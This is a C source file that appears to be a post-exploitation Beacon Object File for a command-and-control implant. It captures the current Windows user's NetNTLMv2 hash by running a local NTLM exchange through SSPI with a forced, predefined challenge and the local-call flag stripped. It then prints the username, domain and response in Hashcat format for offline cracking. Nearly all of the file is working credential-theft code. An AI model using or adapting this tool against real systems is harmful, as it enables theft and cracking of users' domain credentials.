capturenetntlm.c 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <tchar.h>
  4. #define SECURITY_WIN32
  5. #include <Security.h>
  6. #include <Wincrypt.h>
  7. #include "capturenetntlm.h"
  8. #include "beacon.h"
  9. #pragma comment(lib,"Secur32")
  10. #define MSV1_0_CHALLENGE_LENGTH 8
  11. //
  12. //Most of the code originates from: https://github.com/leechristensen/GetNTLMChallenge/tree/master
  13. //
  14. typedef enum {
  15. NtLmNegotiate = 1,
  16. NtLmChallenge,
  17. NtLmAuthenticate,
  18. NtLmUnknown
  19. } NTLM_MESSAGE_TYPE;
  20. typedef struct _STRING32 {
  21. USHORT Length;
  22. USHORT MaximumLength;
  23. DWORD Offset;
  24. } STRING32, *PSTRING32;
  25. // Valid values of NegotiateFlags
  26. #define NTLMSSP_NEGOTIATE_UNICODE 0x00000001
  27. #define NTLMSSP_NEGOTIATE_OEM 0x00000002
  28. #define NTLMSSP_REQUEST_TARGET 0x00000004
  29. #define NTLMSSP_NEGOTIATE_SIGN 0x00000010
  30. #define NTLMSSP_NEGOTIATE_SEAL 0x00000020
  31. #define NTLMSSP_NEGOTIATE_DATAGRAM 0x00000040
  32. #define NTLMSSP_NEGOTIATE_NTLM 0x00000200
  33. #define NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED 0x1000
  34. #define NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED 0x2000
  35. #define NTLMSSP_NEGOTIATE_LOCAL_CALL 0x00004000
  36. #define NTLMSSP_NEGOTIATE_ALWAYS_SIGN 0x00008000
  37. // Valid target types returned by the server in Negotiate Flags
  38. #define NTLMSSP_TARGET_TYPE_DOMAIN 0x00010000
  39. #define NTLMSSP_TARGET_TYPE_SERVER 0x00020000
  40. #define NTLMSSP_TARGET_TYPE_SHARE 0x00040000
  41. #define NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY 0x00080000
  42. #define NTLMSSP_NEGOTIATE_IDENTIFY 0x00100000
  43. // Valid requests for additional output buffers
  44. #define NTLMSSP_REQUEST_ACCEPT_RESPONSE 0x00200000
  45. #define NTLMSSP_REQUEST_NON_NT_SESSION_KEY 0x00400000
  46. #define NTLMSSP_NEGOTIATE_TARGET_INFO 0x00800000
  47. #define NTLMSSP_NEGOTIATE_EXPORTED_CONTEXT 0x01000000
  48. #define NTLMSSP_NEGOTIATE_VERSION 0x02000000
  49. #define NTLMSSP_NEGOTIATE_128 0x20000000
  50. #define NTLMSSP_NEGOTIATE_KEY_EXCH 0x40000000
  51. #define NTLMSSP_NEGOTIATE_56 0x80000000
  52. // flags used in client space to control sign and seal; never appear on the wire
  53. #define NTLMSSP_APP_SEQ 0x0040
  54. #define MsvAvEOL 0x0000
  55. #define MsvAvNbComputerName 0x0001
  56. #define MsvAvNbDomainName 0x0002
  57. #define MsvAvNbDnsComputerName 0x0003
  58. #define MsvAvNbDnsDomainName 0x0004
  59. #define MsvAvNbDnsTreeName 0x0005
  60. #define MsvAvFlags 0x0006
  61. #define MsvAvTimestamp 0x0007
  62. #define MsvAvRestrictions 0x0008
  63. #define MsvAvTargetName 0x0009
  64. #define MsvAvChannelBindings 0x000A
  65. typedef struct _NTLM_VERSION {
  66. BYTE ProductMajorVersion;
  67. BYTE ProductMinorVersion;
  68. USHORT ProductBuild;
  69. BYTE reserved[3];
  70. BYTE NTLMRevisionCurrent;
  71. } NTLM_VERSION, *PNTLM_VERSION;
  72. typedef struct _NTLMv2_CLIENT_CHALLENGE {
  73. BYTE RespType;
  74. BYTE HiRespType;
  75. USHORT Reserved1;
  76. DWORD Reserved2;
  77. ULONGLONG TimeStamp;
  78. BYTE ChallengeFromClient[8];
  79. DWORD Reserved3;
  80. BYTE AvPair[4];
  81. } NTLMv2_CLIENT_CHALLENGE, *PNTLMv2_CLIENT_CHALLENGE;
  82. typedef struct _NTLMv2_RESPONSE {
  83. BYTE Response[16];
  84. NTLMv2_CLIENT_CHALLENGE Challenge;
  85. } NTLMv2_RESPONSE, *PNTLMv2_RESPONSE;
  86. typedef struct _NEGOTIATE_MESSAGE {
  87. UCHAR Signature[8];
  88. DWORD MessageType;
  89. DWORD NegotiateFlags;
  90. STRING32 OemDomainName;
  91. STRING32 OemWorkstationName;
  92. } NEGOTIATE_MESSAGE, *PNEGOTIATE_MESSAGE;
  93. typedef struct _NEGOTIATE_MESSAGE_WITH_VERSION {
  94. UCHAR Signature[8];
  95. DWORD MessageType;
  96. DWORD NegotiateFlags;
  97. STRING32 OemDomainName;
  98. STRING32 OemWorkstationName;
  99. NTLM_VERSION Version;
  100. } NEGOTIATE_MESSAGE_WITH_VERSION, *PNEGOTIATE_MESSAGE_WITH_VERSION;
  101. typedef struct _CHALLENGE_MESSAGE {
  102. UCHAR Signature[8];
  103. DWORD MessageType;
  104. STRING32 TargetName;
  105. DWORD NegotiateFlags;
  106. UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
  107. ULONG64 ServerContextHandle;
  108. STRING32 TargetInfo;
  109. } CHALLENGE_MESSAGE, *PCHALLENGE_MESSAGE;
  110. typedef struct _CHALLENGE_MESSAGE_WITH_VERSION {
  111. UCHAR Signature[8];
  112. DWORD MessageType;
  113. STRING32 TargetName;
  114. DWORD NegotiateFlags;
  115. UCHAR Challenge[MSV1_0_CHALLENGE_LENGTH];
  116. ULONG64 ServerContextHandle;
  117. STRING32 TargetInfo;
  118. NTLM_VERSION Version;
  119. } CHALLENGE_MESSAGE_WITH_VERSION, *PCHALLENGE_MESSAGE_WITH_VERSION;
  120. typedef struct _AUTHENTICATE_MESSAGE {
  121. UCHAR Signature[8];
  122. DWORD MessageType;
  123. STRING32 LmChallengeResponse;
  124. STRING32 NtChallengeResponse;
  125. STRING32 DomainName;
  126. STRING32 UserName;
  127. STRING32 Workstation;
  128. STRING32 SessionKey;
  129. DWORD NegotiateFlags;
  130. } AUTHENTICATE_MESSAGE, *PAUTHENTICATE_MESSAGE;
  131. typedef struct _RESTRICTIONS_ENCODING {
  132. DWORD dwSize;
  133. DWORD dwReserved;
  134. DWORD dwIntegrityLevel;
  135. DWORD dwSubjectIntegrityLevel;
  136. BYTE MachineId[32];
  137. } RESTRICTIONS_ENCODING, *PRESTRICTIONS_ENCODING;
  138. typedef LONG NTSTATUS;
  139. typedef struct _UNICODE_STRING {
  140. USHORT Length;
  141. USHORT MaximumLength;
  142. PWSTR Buffer;
  143. } UNICODE_STRING, *PUNICODE_STRING;
  144. typedef struct _KEY_BLOB {
  145. BYTE bType;
  146. BYTE bVersion;
  147. WORD reserved;
  148. ALG_ID aiKeyAlg;
  149. ULONG keysize;
  150. BYTE Data[16];
  151. } KEY_BLOB;
  152. NTSTATUS WINAPI SystemFunction007(PUNICODE_STRING string, LPBYTE hash);
  153. //START beacon print function. Code originates from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
  154. HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
  155. HRESULT hr = S_FALSE;
  156. va_list argList;
  157. DWORD dwWritten = 0;
  158. if (g_lpStream <= (LPSTREAM)1) {
  159. hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
  160. if (FAILED(hr)) {
  161. return hr;
  162. }
  163. }
  164. if (g_lpwPrintBuffer <= (LPWSTR)1) {
  165. g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
  166. if (g_lpwPrintBuffer == NULL) {
  167. hr = E_FAIL;
  168. goto CleanUp;
  169. }
  170. }
  171. va_start(argList, lpwFormat);
  172. if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
  173. hr = E_FAIL;
  174. goto CleanUp;
  175. }
  176. if (g_lpStream != NULL) {
  177. if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
  178. goto CleanUp;
  179. }
  180. }
  181. hr = S_OK;
  182. CleanUp:
  183. if (g_lpwPrintBuffer != NULL) {
  184. MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR));
  185. }
  186. va_end(argList);
  187. return hr;
  188. }
  189. VOID BeaconOutputStreamW() {
  190. STATSTG ssStreamData = { 0 };
  191. SIZE_T cbSize = 0;
  192. ULONG cbRead = 0;
  193. LARGE_INTEGER pos;
  194. LPWSTR lpwOutput = NULL;
  195. if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
  196. return;
  197. }
  198. cbSize = ssStreamData.cbSize.LowPart;
  199. lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
  200. if (lpwOutput != NULL) {
  201. pos.QuadPart = 0;
  202. if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
  203. goto CleanUp;
  204. }
  205. if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {
  206. goto CleanUp;
  207. }
  208. BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
  209. }
  210. CleanUp:
  211. if (g_lpStream != NULL) {
  212. g_lpStream->lpVtbl->Release(g_lpStream);
  213. g_lpStream = NULL;
  214. }
  215. if (g_lpwPrintBuffer != NULL) {
  216. MSVCRT$free(g_lpwPrintBuffer);
  217. g_lpwPrintBuffer = NULL;
  218. }
  219. if (lpwOutput != NULL) {
  220. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
  221. }
  222. return;
  223. }
  224. //END beacon print function
  225. void SetPredefinedChallenge(UCHAR challenge[MSV1_0_CHALLENGE_LENGTH]) {
  226. const UCHAR predefinedChallenge[] = {0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88};
  227. MSVCRT$memcpy(challenge, predefinedChallenge, MSV1_0_CHALLENGE_LENGTH);
  228. }
  229. BOOL GetNTLMChallengeAndResponse() {
  230. WCHAR szDomainName[256 + 1] = L"";
  231. WCHAR szUserName[256 + 1] = L"";
  232. wchar_t ntlmsp_name[] = L"NTLM";
  233. UCHAR bServerChallenge[MSV1_0_CHALLENGE_LENGTH];
  234. PNTLMv2_RESPONSE pNtChallengeResponse = NULL;
  235. PNTLMv2_CLIENT_CHALLENGE pClientChallenge = NULL;
  236. DWORD dwClientChallengeSize = 0;
  237. CredHandle hInboundCred;
  238. CredHandle hOutboundCred;
  239. TimeStamp InboundLifetime;
  240. TimeStamp OutboundLifetime;
  241. DWORD status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_OUTBOUND, NULL, NULL, NULL, NULL, &hOutboundCred, &OutboundLifetime);
  242. if (status != 0)
  243. return FALSE;
  244. status = SECUR32$AcquireCredentialsHandleW(NULL, ntlmsp_name, SECPKG_CRED_INBOUND, NULL, NULL, NULL, NULL, &hInboundCred, &InboundLifetime);
  245. if (status != 0)
  246. return FALSE;
  247. SecBufferDesc OutboundNegotiateBuffDesc;
  248. SecBuffer NegotiateSecBuff;
  249. OutboundNegotiateBuffDesc.ulVersion = 0;
  250. OutboundNegotiateBuffDesc.cBuffers = 1;
  251. OutboundNegotiateBuffDesc.pBuffers = &NegotiateSecBuff;
  252. NegotiateSecBuff.cbBuffer = 0;
  253. NegotiateSecBuff.BufferType = SECBUFFER_TOKEN;
  254. NegotiateSecBuff.pvBuffer = NULL;
  255. SecBufferDesc OutboundChallengeBuffDesc;
  256. SecBuffer ChallengeSecBuff;
  257. OutboundChallengeBuffDesc.ulVersion = 0;
  258. OutboundChallengeBuffDesc.cBuffers = 1;
  259. OutboundChallengeBuffDesc.pBuffers = &ChallengeSecBuff;
  260. ChallengeSecBuff.cbBuffer = 0;
  261. ChallengeSecBuff.BufferType = SECBUFFER_TOKEN;
  262. ChallengeSecBuff.pvBuffer = NULL;
  263. SecBufferDesc OutboundAuthenticateBuffDesc;
  264. SecBuffer AuthenticateSecBuff;
  265. OutboundAuthenticateBuffDesc.ulVersion = 0;
  266. OutboundAuthenticateBuffDesc.cBuffers = 1;
  267. OutboundAuthenticateBuffDesc.pBuffers = &AuthenticateSecBuff;
  268. AuthenticateSecBuff.cbBuffer = 0;
  269. AuthenticateSecBuff.BufferType = SECBUFFER_TOKEN;
  270. AuthenticateSecBuff.pvBuffer = NULL;
  271. CtxtHandle OutboundContextHandle = { 0 };
  272. ULONG OutboundContextAttributes = 0;
  273. CtxtHandle ClientContextHandle = { 0 };
  274. ULONG InboundContextAttributes = 0;
  275. // Setup the client security context
  276. status = SECUR32$InitializeSecurityContextW(&hOutboundCred, NULL, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, NULL, 0, &OutboundContextHandle, &OutboundNegotiateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
  277. if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
  278. NEGOTIATE_MESSAGE* negotiate = (NEGOTIATE_MESSAGE*)OutboundNegotiateBuffDesc.pBuffers[0].pvBuffer;
  279. status = SECUR32$AcceptSecurityContext(&hInboundCred, NULL, &OutboundNegotiateBuffDesc, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, SECURITY_NATIVE_DREP, &ClientContextHandle, &OutboundChallengeBuffDesc, &InboundContextAttributes, &InboundLifetime);
  280. if (status != SEC_I_CONTINUE_NEEDED) return FALSE;
  281. // client
  282. CHALLENGE_MESSAGE* challenge = (CHALLENGE_MESSAGE*)OutboundChallengeBuffDesc.pBuffers[0].pvBuffer;
  283. // Set the predefined challenge instead of the random one
  284. SetPredefinedChallenge(challenge->Challenge);
  285. // when local call, windows remove the ntlm response
  286. challenge->NegotiateFlags &= ~NTLMSSP_NEGOTIATE_LOCAL_CALL;
  287. status = SECUR32$InitializeSecurityContextW(&hOutboundCred, &OutboundContextHandle, NULL, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE, 0, SECURITY_NATIVE_DREP, &OutboundChallengeBuffDesc, 0, &OutboundContextHandle, &OutboundAuthenticateBuffDesc, &OutboundContextAttributes, &OutboundLifetime);
  288. if (status != 0) return FALSE;
  289. AUTHENTICATE_MESSAGE* authenticate = (AUTHENTICATE_MESSAGE*)OutboundAuthenticateBuffDesc.pBuffers[0].pvBuffer;
  290. // Get domain name
  291. MSVCRT$memcpy(szDomainName, ((PBYTE)authenticate + authenticate->DomainName.Offset), authenticate->DomainName.Length);
  292. szDomainName[authenticate->DomainName.Length / 2] = 0;
  293. // Get username
  294. MSVCRT$memcpy(szUserName, ((PBYTE)authenticate + authenticate->UserName.Offset), authenticate->UserName.Length);
  295. szUserName[authenticate->UserName.Length / 2] = 0;
  296. // Get the Server challenge
  297. MSVCRT$memcpy(bServerChallenge, challenge->Challenge, MSV1_0_CHALLENGE_LENGTH);
  298. // Get the Challenge response
  299. pNtChallengeResponse = (PNTLMv2_RESPONSE)((ULONG_PTR)authenticate + authenticate->NtChallengeResponse.Offset);
  300. pClientChallenge = &(pNtChallengeResponse->Challenge);
  301. dwClientChallengeSize = authenticate->NtChallengeResponse.Length - 16;
  302. // Print output in Hashcat Format: username:domain:ServerChallenge:response:blob
  303. BeaconPrintToStreamW(L"[+] Successful NetNTLMv2 hash capture:\n");
  304. BeaconPrintToStreamW(L"========================================\n\n");
  305. BeaconPrintToStreamW(L"%s::%s:", szUserName, szDomainName);
  306. // ServerChallenge
  307. for (int i = 0; i < sizeof(bServerChallenge); i++) {
  308. BeaconPrintToStreamW(L"%02x", bServerChallenge[i]);
  309. }
  310. BeaconPrintToStreamW(L":");
  311. // response
  312. for (int i = 0; i < sizeof(pNtChallengeResponse->Response); i++) {
  313. BeaconPrintToStreamW(L"%02x", pNtChallengeResponse->Response[i]);
  314. }
  315. BeaconPrintToStreamW(L":");
  316. // blob
  317. for (DWORD i = 0; i < dwClientChallengeSize; i++) {
  318. BeaconPrintToStreamW(L"%02x", *((PBYTE)(&(pNtChallengeResponse->Challenge)) + i)); // 16
  319. }
  320. BeaconPrintToStreamW(L"\n");
  321. return TRUE;
  322. }
  323. int go() {
  324. BOOL result = GetNTLMChallengeAndResponse();
  325. if (result) {
  326. BeaconOutputStreamW();
  327. } else {
  328. BeaconPrintf(CALLBACK_OUTPUT,"\n[-] Failed to capture NetNTLM hash.\n");
  329. }
  330. return 0;
  331. }